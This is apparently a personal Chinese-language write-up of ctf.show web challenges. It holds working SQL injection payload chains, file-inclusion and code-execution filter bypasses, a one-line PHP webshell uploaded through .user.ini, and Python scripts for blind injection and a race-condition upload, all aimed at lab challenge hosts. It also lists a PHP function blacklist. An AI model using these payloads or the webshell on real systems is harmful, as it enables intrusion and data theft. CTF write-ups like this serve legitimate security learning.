web签到题

网页原代码中发现这个,base64解码就是flag
web2
 这道题目就是最简单的SQL注入了 发现万能密码可以成功。 于是后台查询语句猜测是select ‘column’ from ‘table’ where username=’$_POST[]’&password=’$_POST[]’ limit 1,1
自己猜的熬,不一定是完全正确的。 这样的话直接闭合前面的单引号就行了。 之后就是 123’ or 1=1 union select 1,2,3# 123’ or 1=1 union select 1,database(),3# 123’ or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3# 123’ or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’),3# 123’ or 1=1 union select 1,(select group_concat(flag) from web2.flag),3# 
web3
 这道题目解法挺多的,我估计什么都没有过滤。 比如我们随便从网上,找一张图片。  比如就这一张图片,我们复制链接地址然后作为url的参数  结果出现这种情况,说明它包含进去了,那么我们可以远程文件包含的 第一种方法  说明php://input是可以的 第二种方法 日志包含  第三种方法 data协议 
web4
这道题目肯定是有过滤或者禁用函数的 php://filter可以读一下源码,发现不可以  结果还是得日志包含  最后发现在上一层目录有flag.txt  如果实在找不到的话,可以自己写一个一句话木马传上去,利用蚁剑的提权找找。  其实也duck不必,一个find -name fl*就能找到。 顺便看看过滤了什么  原来是伪协议都给过滤了啊 本题目到此为止吧
web5
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
都是很基础的题目了 这道题目需要v1是字符,v2是数字,并且他们md5值相同 这里给出答案,参考一下 md5(‘240610708’) //0e462097431906509019562988736854 md5(‘QNKCDZO’) //0e830400451993494058024219903391 0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。
md5(‘240610708’)==md5(‘QNKCDZO’); //True md5(‘240610708’)===md5(‘QNKCDZO’); //False
这样的对应数值还有: var_dump(md5(‘240610708’) == md5(‘QNKCDZO’)); var_dump(md5(‘aabg7XSs’) == md5(‘aabC9RqS’)); var_dump(sha1(‘aaroZmOk’) == sha1(‘aaK1STfY’)); var_dump(sha1(‘aaO8zKZF’) == sha1(‘aa3OFF9m’)); var_dump(‘0010e2’ == ‘1e3’); var_dump(‘0x1234Ab’ == ‘1193131’); var_dump(‘0xABCdef’ == ’ 0xABCdef’);
web6
一开始试了试万能密码 发现有过滤了,然后经过初步测试就是过滤空格  可见,把空格替换成换行符是可以的。 然后开始流程,233 admin’%09or%091=1%09union%09select%091,2,3#
admin’%09or%091=1%09union%09select%091,database(),3#
admin’%09or%091=1%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=‘web2’),3#
admin’%09or%091=1%09union%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name=‘flag’),3#
admin’%09or%091=1%09union%09select%091,(select%09group_concat(flag)%09from%09web2.flag),3#  此题结束
web7
一开始没往SQL注入上去想,本意是以为文件包含,浪费了不少时间。 经过初步测试,是过滤空格,我喜欢用%09来代替 做完之后发现网上的wp大部分是盲注,其实duck不必  人家是可以回显的。 并且我猜测后台查询语句应该会是 select 文章题目 文章内容 from table where id=’$_GET[id]’ 然后走流程 1%27%09or%091=1%09union%09select%091,database(),3#
1%27%09or%091=1%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3#
没想到我直接select%09*from%09flag试试直接出来了。 中间有一个问题就是table_schema=database()可以,但是换成’web7’就没有回显了,奇了个怪的。 本题到此为止。
web8
这个题自己做了半天,完全是因为一些奇奇怪怪的问题。 写脚本的时候,用提交参数的方式不行,后来出来用regexp匹配的时候又有了一堆问题,|,^,还有大小写都可以匹配,然后自己又过滤了一遍。最后发现用了ascii()这个函数可以解决乱匹配成功的问题,不知道为什么。 附上我的垃圾脚本
import requests
TableName=''
for i in range(1,50):
for j in range(45,127):
url=f"http://d8feef23-5c02-41b3-9a80-6eb6d64d8a39.challenge.ctf.show:8080/index.php?id=0%09or%09(1=(substr((select%09group_concat(flag)from%09web8.flag)from%09{i}%09for%091)regexp(chr({j}))))#"
r=requests.get(url)
if "A Child's Dream of a Star" in r.text:
if(chr(j)=='|'or chr(j)=='^'or chr(j)=='.'or (j>=65 and j<=90)):
continue
TableName+=chr(j)
print(TableName)
web9
一开始试了试没有什么头绪,就去找找wp看,发现有源码泄露。
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
看了源码后,那么就很明显了啊。 这考察的是MD5啊,直接密码为ffifdyop得到答案。 这个知识点就不细说了,网上随便都是,大体原理就是ffifdyop的原始二进制字段中含有’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c, 恰构成了SQL注入漏洞,password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)
web10
点击取消有一个index.phps文件,这是什么操作。
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
说实话,这道题看了之后,发现最后一层我 绕不过去,最后原来是一个知识盲点。 学到一个。 利用with rollup https://blog.csdn.net/qq_31960623/article/details/115917641 自己研究研究,不是很复杂。  本题结束。
web11
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
看源码是需要输入的password等于$_SESSION[‘password’] PHP session工作原理 以下以cookie传输PHPSESSID描述。
- 客户端请求一个php的服务端地址。
- 服务端收到请求,此次php脚本中包含session_start()。
- 服务端会生成一个PHPSESSID。(默认session存储方式为session.save_handler=files,文件形式存储。生成的session文件名规则即为sess_PHPSESSID,session文件存在session.save_path中。)
- 服务端响应首部Response Headers:Set-Cookie:PHPSESSID=37vjjasgjdv2ouk1uomhgqkv50;
path=/。在客户端生成一个cookie保存此PHPSESSID。 - 此时,客户端的cookie里面包含了PHPSESSID,之后客户端的每次请求首部Request Headers:Cookie:PHPSESSID=37vjjasgjdv2ouk1uomhgqkv50。服务端之后每次接收到客户端的请求就都能根据这个PHPSESSID来找到服务端的session文件,通过对这个session文件的读写操作即实现了session的超全局变量属性。
如果客户端禁用了cookie,由于无法使用cookie传递PHPSESSID,那么客户端每次请求,服务端都会重新建立一个session文件,而无法通过通过PHPSESSID来重用session文件,所以session也就失效了。 这种情况可以设置session.use_trans_sid来传输PHPSESSID,具体实现方式与cookie的区别就是将PHPSESSID通过HTTP的GET传输。每次请求的地址里面都会补全PHPSESSID参数”url?PHPSESSID=37vjjasgjdv2ouk1uomhgqkv50”来实现。 PHP是怎样识别不同的SESSION的呢?
每一次SESSION会话都有一个SESSION ID,用来识别不同的会话,保存在浏览器Cookie之中,也就是这个名为PHPSESSID的Cookie(当然,这个名称是可以更改的)。
浏览器将Cookie(包括PHPSESSID)发送给服务器,PHP才知道应该使用哪一个SESSION传递给PHP程序。
网上的答案都是找到在cookie中PHPSESSID然后把值该为空,找了半天没有讲为什么的。 我个人觉得是因为,把PHPSESSID改为空之后,PHP不知道给用哪一个session文件了,于是这关我 $_SEESION[‘password’]什么事?哈哈哈,我又不懂了,即使不知道用哪个session了,也无法改变$_SESSION[‘password’]。以后会了,在来说吧。
web12
 右键源代码,然后看到提示是?cmd= 我一开始是以为命令执行呢,结果是代码执行。试了试phpinfo();发现是可以的,然后查看disable_func 那一部分,结果给我禁用了一大堆。 我发现incldue没有禁用,唉,舒服了。然后?cmd=include($_POST[1]); 或者是?cmd=include($_POST[1])?>然后1=/etc/paswd,结果可行。 接着用php://filter协议读了读index.php看了看源码
<?php
error_reporting(0);
?>
<html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width minimum-scale=1.0 maximum-scale=1.0 initial-scale=1.0" />
<title>ctf.show_web12</title>
</head>
<body>
<center>
<h2>ctf.show_web12</h2>
<h4>where is the flag?</h4>
<!-- hit:?cmd= -->
<?php
$cmd=$_GET['cmd'];
eval($cmd);
?>
</body>
</html>
没有什么东西呀。我想起来scandir(),没有禁用,于是发现了这个,看了flag就在这个一长串的文件里了。  我就随手一试就出来了,离谱  伪协议也可以读出来的  骚姿势   这道题目用glob当然也是可以的,glob姿势也很多,本题结束
红包题目第二弹
一看原来是和上一题一模一样的,哦了。 本来试试?cmd=phpinfo(); 结果给我出来一堆厚厚waf
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
可以看出禁用了一堆符号数字字母除了一个p,真的是只剩个p了。 这个题目让我想起了一个文章,无字母数字的命令执行(ctfshow web入门 55) 这样的话我们就可以利用这个.来做文章了。 这道题目其实有很多的wp了,我也就不多说了。 这里我就进行简单的知识点概括 首先是 ?><?=`ls`; 解释一下,在这里呢,<?=\`ls\`相当于echo(\`ls\`);,但是呢<?=又是一个短标签,在eval中相当于一段php代码,你得要把前面的<?php给闭合了啊,所以会有一个?>,仅是个人理解。
再解释一下这个点 linux .(点命令):读取并且在当前的shell中执行文件中的命令 source命令可简写为一个点.。就是可以执行shell文件。
最后是你上传的文件啊,这个东西,你上传的文件会被存储到一个地方,上传完成后,就会被删除,所以这道题我觉的也是有条件竞争的。然后这个地方,在这个题目是/tmp/php???,这五个问号是五个字符,所以用通配符,来匹配。更详细的就不说了。  此题结束。
web13
 看到这个画面,我还以为是上一道题目的续作,然后看源码又什么都没有,那就随便上传一个文件把, 结果文件上传成功。原来是一个文件上传题目啊。 一开始它限制了文件长度,我修改了一句话木马为<?=eval($_POST[1])?> 绝对短小精悍,然后果不其然后缀名不行,然后发现pht可以上传上去了,结果它不解析pht文件给我下载回来了,我傻了。 然后又用phtml可以成功,但是想到phtml内容太长就算了吧。 看来只好上传.htaccess或者.user.ini了。 这两个东西我就不科普了,因为服务器是NGINX,所以用.user.ini了。
auto_prepend_file:在页面顶部加载文件
auto_append_file:在页面底部加载文件
把内容修改为 auto_append_file=1.txt 作用就不多说了,就是在同目录下,每个文件的页面底部加上该1.txt的内容。 这样的话,只要同目录下有一个php文件就可以了,于是我就去扫目录啊,结果有源码泄露啊,我也懒得看了,都到这一步了。 扫出来有upload.php和index.php。然后就可以为所欲为了。  我一看disable_functions,好家伙,估计蚁剑都给干废了。 那就不用蚁剑了,自己找吧。 发现它没有禁用include,那就好办了. print_r(scandir(’.’));扫出来这些东西。  flag就在这个一大串了吧。 利用前面那个题目的方法,show_source highlight_file 伪协议,都可以. 此题结束
web14
include("secret.php");
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
highlight_file(__FILE__);
其实就是因为没有break的原因,所以你输入c=3的时候就继续往下走,在这个case:6000000这里输出了$url。然后我们来到了这里,提示有一个admin  在底下的源码是告诉了waf的 
输入1是返回admin,输入2是返回figy什么的。 接着输入2/2发现返回amdin所以确定是数字型。 这个waf也挺简单的 开始走流程
-1unionselect1测试发现只有个字段
-1unionselectdatabase()数据库为web
-1unionselect(selectgroup_concat(table_name)frominformation_schema.`tables`wheretable_schema=database())表为content
-1unionselect(selectgroup_concat(column_name)frominformation_schema.`columns`wheretable_name='content')字段有id,username,password
先试试username
-1unionselect(selectgroup_concat(username)from`content`)这里面admin,gtf1y,Wow这三个值
再试试password
-1unionselect(selectgroup_concat(password)from`content`)发现了flag is not here!,wow,you can really dance,tell you a secret,secret has a secret...这个玩意
就会整活....
我觉的可以试试无列名注入,也可以试试报错查询
1orextractvalue(1,select)

-1unionselectgroup_concat(`3`)from(select1,2,3unionselect*fromcontent)a
 这道题目看来flag在那个secret.php中。
一开始我是打算写个马进去,但是不知道为啥,写不进去。所以只好用load_file了。
-1unionselectload_file('/var/www/html/secret.php')
它又给了一段代码

我就试试直接读这个/real_flag_is_here,结果还真出来了,hhh。  本题结束。
web红包题第六弹
一开始有一个提示:不是SQL注入,找到关键源代码。 然后就开始扫描目录。 得到了web.zip
function receiveStreamFile($receiveFile){
$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
if(empty($streamData)){
$streamData = file_get_contents('php://input');
}
if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}
return $ret;
}
if(md5(date("i")) === $token){
$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}
$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}
$ret['errormsg']="token error";
echo json_encode($ret);
return;
慢慢读下来,第一个函数receiveStreamFile就是接受文件用的,保证文件能够接收到。 关于php://input和这个$GLOBALS[‘HTTP_RAW_POST_DATA’]就不细说了,有心的同学自己查资料吧, 继续往下读,md5(date(“i”)) === $token。 这个date(“i”)是表示当前分钟的意思啊,然后在md5加密让他和$token相等。 后来我才知道这个$token是可以上传的。 然后就是接受我们发送的文件了,再判断两个文件的md5值是否相等,而且sha1值不同。这个容易解决,key.dat我们可以直接下载下来。然后用相关工具制造一个md5相同但是sha1不同的文件。把它上传就可以了。到了这一步,后面的代码就没有什么用了。 应该是通过判断$ret的内容,来输出flag。因为在网页右键查看源码,还有一段信息。
function login(s){
var u=document.getElementById("username").value;
var p=document.getElementById("password").value;
var xhr = new XMLHttpRequest();
xhr.open('GET', "login.php?u="+u+"&p="+p);
xhr.responseType = 'arraybuffer';
xhr.onreadystatechange = function getPdfOnreadystatechange(e) {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
var data = (xhr.mozResponseArrayBuffer || xhr.mozResponse ||
xhr.responseArrayBuffer || xhr.response);
if(data){
ctfshow(s,data);
}
}
}
};
xhr.send(null);
}
function ctfshow(token,data){
var oReq = new XMLHttpRequest();
oReq.open("POST", "check.php?token="+token+"&php://input", true);
oReq.onload = function (oEvent) {
if(oReq.status===200){
var res=eval("("+oReq.response+")");
if(res.success ==1 &&res.error!=1){
alert(res.msg);
return;
}
if(res.error ==1){
alert(res.errormsg);
return;
}
}
return;
};
oReq.send(data);
}
然后理论完成,就开始实践。
import requests
import time
import hashlib
import threading
def post(data):
try:
r=requests.post(url,data=data)
if "ctfshow" in r.text:
print(r.text)
except Exception as e:
pass
mi=str(time.localtime().tm_min)
m=hashlib.md5(mi.encode()).hexdigest()
url='http://ce61acc9-c947-4ac4-9d2c-3b81b8708df5.challenge.ctf.show:8080/check.php?token={}&php://input'.format(m)
with open('key.dat','rb') as f:
data1=f.read()
with open('2.dat','rb') as f:
data2=f.read()
for i in range(30):
threading.Thread(target=post,args=(data1,)).start()
for i in range(30):
threading.Thread(target=post,args=(data2,)).start()
执行这个代码,就会得到flag了,有心的小伙伴仔细读一读,也不是很复杂。本题结束。
web红包题第七弹
不会做,嘿嘿
web萌新专属红包题
这个题目当时没做,现在做没啥意思。没wp做不了啊。看着wp给ak了算了。
CTFshow web1
这道题目的思路很清奇。 这里附上师傅的文章吧, https://blog.csdn.net/miuzzx/article/details/104514442
web game-gyctf web2
最后在补上。
http://www.iricky.ltd/2021/03/30/80.html
web15 Fishman
划了
红包题第九弹
非常基本的题目,就是打无密码的mysql
用工具就完事了 这个和web入门的ssrf系列的最后几个题目不敢说很像,只能说一模一样。
红包题 葵花宝典
注册就给flag
红包题 辟邪剑谱
【nl】难了
Linux中可以将文件名作为函数和参数,通过星号通配执行
新建一个名称是nl的文件作为指令
?1=>nl
将右尖括号左侧的内容写入右侧文件,因此相当于新建了一个叫nl的空文件
?1=*>z
*代表当前文件夹下的所有文件 *>z就是就是把当前文件夹的文件显示在z中 这样就只有文件z的内容就是 nl index.php
一切看起来都那么合情合理
这道题目和web入门反序列化系列的一个题目也是一个样的,考察的内容是php的session反序列化漏洞。 基础知识清看这里 https://blog.csdn.net/qq_46091464/article/details/108006422 然后我们搞懂了session 反序列化的漏洞原理之后就好办了。 我们只需要利用inc/inc.php中的user类的析构函数里的file_put_contents就可以了。 我觉的这个文章很不错的https://blog.csdn.net/qq_46091464/article/details/108764180 比我自己写好多了。
红包题 耗子尾汁
从其他师傅那里学来的知识点
在php当中默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
一进来有一段代码
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
$dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
$a = strtolower($a);
if (!in_array($a,$dis,true)) {
forward_static_call_array($a,$b);
}else{
echo 'hacker';
}
}
CTFSHOW_36_D($a,$b);
echo "rlezphp!!!";
可以看出它黑名单里有一堆函数啊 如果a里面有黑名单的内容就会输出hacker。 解一: a=\system&b[]=ls a=\system&b[]=cat flag.php 解二: 套娃 a=forward_static_call_array&b[0]=system&b[1][0]=ls
|